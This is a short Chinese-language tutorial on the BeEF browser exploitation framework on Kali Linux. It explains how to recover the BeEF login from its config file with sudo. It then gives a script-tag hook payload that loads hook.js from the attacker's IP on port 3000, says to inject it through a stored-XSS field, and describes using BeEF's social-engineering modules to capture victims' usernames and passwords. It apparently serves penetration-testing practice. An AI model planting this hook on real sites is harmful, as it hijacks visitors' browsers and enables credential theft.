“忘记BeEF账号密码（权限不足问题）

问题分析：“ERROR: invalid username or password”-----错误！无效的用户名或密码

解决方法：

打开kali默认配置文件 一般/etc/beef-xss/config.yaml中

可能会出现的错误操作 vi /etc/beef-xss/config.yaml

会提示权限不足

第一步：正确操作是运用sudo命令输入管理员密码后打开配置文件

sudo  vi /etc/beef-xss/config.yaml

 

第二步: 自己的账号和密码在第7和8行

 

BeEF的基本启动及使用教程

或者使用sudo命令  sudo beef-xss

 

Hook（勾子）: <script src="http://<IP>:3000/hook.js"></script>
Example(示例):<script src="http://127.0.0.1（这里填写自己kali机的ip地址）:3000/hook.js"></script>

 

将Hook填入xss stored（存储型） 其中需要改变字数限时

 

点击过的我们Hook的ip及其相关信息

并可进一步采取行动 

 

选择机器后可以点击commands（命令）中的socal engineering（社会工程学）

通过其中的浏览器登录后可以查看相关的账号和密码内容